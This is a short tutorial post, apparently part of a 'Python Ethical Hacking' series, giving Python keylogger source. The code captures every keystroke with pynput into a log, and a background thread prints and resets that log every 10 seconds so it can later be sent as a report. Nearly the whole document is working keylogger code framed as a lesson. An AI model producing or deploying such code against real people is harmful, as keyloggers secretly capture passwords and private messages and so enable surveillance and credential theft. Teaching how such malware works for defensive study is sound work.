Python Ethical Hacking - KEYLOGGER(2)

Report function:

• Run in the background.
• Don't interrupt program execution.
• Every X seconds, send the report.

->Great case for threading.

#!/usr/bin/env python
import threading
import pynput.keyboard

log = ""


def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except AttributeError:
        if key == key.space:
            log = log + " "
        else:
            log = log + " " + str(key) + " "


def report():
    global log
    print(log)
    log = ""
    timer = threading.Timer(10, report)
    timer.start()
